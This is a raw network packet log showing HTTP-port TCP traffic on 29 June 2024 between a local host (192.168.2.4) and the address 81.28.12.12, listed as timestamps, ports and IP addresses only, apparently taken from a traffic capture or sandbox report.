Jun 29, 2024 08:04:59.363404036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.363419056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.363471031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.628287077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.628305912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.628321886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.628360033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.628402948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.629066944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.629082918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.629096985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.629132986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.629132986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.630790949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.630872011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.630922079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.630974054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.630986929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.631036997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.632342100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.632368088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.632381916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.632397890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.632431984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.632431984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.634128094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.634170055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.634185076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.634190083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.634218931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.634248018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.635755062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.635768890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.635812044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.635844946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.635905027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.635960102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.637521982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.637562037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.637576103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.637582064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.637615919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.637615919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.639183998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.639214993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.639230013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.639245033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.639276028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.639276028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.640861034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.640887976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.640902042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.640927076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.640958071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.642503977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.642555952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.642560005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.642570972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.642599106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.642607927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.642618895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.642657042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.644263983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.644305944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.644321918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.644330978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.644344091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.644351959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.644376040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.644407034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.646081924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.646096945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.646111012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.646142960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.646142960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.646174908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.647774935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.647800922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.647814989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.647830963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.647862911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.647864103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.649487972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.649503946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.649518013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.649544001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.649595022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.649595976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.651074886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.651099920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.651113033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.651158094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.651187897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.652831078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.652858019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.652872086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.652884007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.652915955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.652915955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.654525995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.654576063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.654584885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.654591084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.654630899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.654630899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.656130075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.656158924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.656173944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.656183004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.656213999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.656213999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.657864094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.657915115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.657917976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.657928944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.657962084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.657989979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.659559011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.659571886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.659610987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.659631968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.659655094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.659682989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.659718037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.661262989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.661278009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.661293030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.661324978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.661324978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.661361933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.662970066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.663003922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.663017988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.663019896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.663069963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.663069963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.664834976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.664849997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.664886951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.664936066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.921993971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922034025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922050953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922075033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.922127008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.922127008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.922797918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922818899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922843933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922852039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.922858953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.922905922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.922905922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.922907114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.924443007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.924454927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.924499035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.924521923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.924530029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.924565077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.924565077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.926177025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.926193953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.926208973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.926227093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.926255941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.927886963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.927937984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.927943945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.927959919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.927989960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.928020000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.929542065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.929567099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.929580927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.929609060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.929642916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.931273937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.931319952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.931329012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.931335926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.931375027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.931401014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.932965994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.933020115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.933018923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.933034897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.933068037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.933096886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.934693098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.934731007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.934784889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.934794903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.934808016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.934850931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.936454058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.936469078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.936491013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.936532021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.936532021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.936532021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.938091040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.938131094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.938146114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.938147068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.938175917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.938194990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.940516949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.940532923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.940546989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.940573931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.940623045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.942023993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.942044973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.942059994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.942085981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.942116976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.943726063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.943742037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.943757057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.943777084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.943805933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.945420980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.945446014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.945460081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.945487022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.945518017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.946927071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.946943045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.946958065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.946979046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.947010040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.948297024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.948312044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.948327065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.948348045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.948381901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.948381901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.950054884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.950069904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.950087070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.950124979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.950125933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.951803923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.951827049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.951853991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.951884985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.951920033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.951934099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.951972961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.953447104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.953474998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.953490019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.953504086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.953542948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.953542948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.955104113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.955120087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.955135107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.955158949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.955188990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.956878901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.956893921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.956908941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.956934929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.956964970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.958441973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.958496094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.958514929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.958559990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.216187000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216239929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216250896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.216253996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216268063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216283083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.216300011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.216330051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.216917038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216929913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216964960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216976881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.216979027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.216979027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.217015028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.218781948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.218807936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.218822956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.218848944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.218849897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.218882084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.220427036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.220451117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.220464945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.220500946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.220500946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.220534086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.221991062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.222003937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.222049952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.222081900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.222095013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.222136021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.223665953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.223689079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.223712921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.223736048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.223741055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.223774910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.223782063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.223855972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.225400925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.225414038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.225457907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.225501060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.225513935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.225548029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.225577116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.227153063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.227212906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.227226973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.227255106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.227255106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.227288961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.228815079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.228867054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.228872061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.228909969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.228916883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.228951931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.228955984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.229017973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.230494022 CEST	80	49731	81.28.12.12	192.168.2.4
